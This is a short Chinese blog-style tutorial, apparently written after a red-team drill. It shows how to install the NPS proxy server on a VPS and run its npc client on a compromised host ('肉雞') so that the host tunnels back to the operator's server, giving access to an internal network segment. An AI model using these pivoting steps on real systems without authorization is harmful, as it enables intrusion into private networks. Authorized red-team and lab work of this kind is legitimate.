攻防演練有看到大哥用這個做代理,今天學習一下
一、安裝
https://github.com/ehang-io/nps/releases (下載Linux版本的先試試)

上傳至服務器,新建一個nps的文件夾,然后解壓:
mkdir nps
tar -xzvf linux_amd64_server.tar.gz -C ./nps

然后輸入命令啟動,啟動后即可訪問如下登錄管理頁面,默認賬號密碼為:admin/123 (記得快速修改初始密碼)
./nps start

在/etc/nps/conf/文件內可以查看到默認的賬號密碼,修改之,然后再重啟一下nps:
nps restart

在壓縮包下也是有個一樣的配置文件的,千萬別改錯了!要改的一定是/etc/nps/的


然后登錄就可以看到頁面了:

這樣就安裝好了。
二、使用
登錄nps:

然后點擊新增客戶端,到下面的截圖:(自行設置賬號密碼,這個將會作為你的隧道的密碼進行使用)

填寫好就可以新增了!記住下面這個密鑰:

這些都有了,那應該直接接下來怎么做了吧,同樣的,在肉雞運行nps的命令,然后就能做代理了,我們試試吧!
(1)以下時Windows客戶端的,下載對應的版本然后輸入下述命令:
npc.exe -server=你的vps:8024 -vkey=客戶端的密鑰
(2)以下時Linux客戶端的,下載對應的版本然后輸入下述命令:
./npc -server=你的vps:8024 -vkey=客戶端的密鑰
到這一步時,你已經成功了一半,因為在肉雞上運行以上命令將會成功建立好隧道:
肉雞運行:
npc.exe -server=192.168.43.234:8024 -vkey=客戶端的密鑰

web頁面會出現上線的提示:

最后:在上線的主機的隧道處點擊,並添加響應的隧道,就可以建立與其他網段的通信了:


然后測試一下連接:

最后就能成功訪問第二層網絡(192.168.127.x網段)了:


以上,簡單的使用nps建立隧道的任務就完成了!其余使用教程請參考:https://ehang-io.github.io/nps/#/use
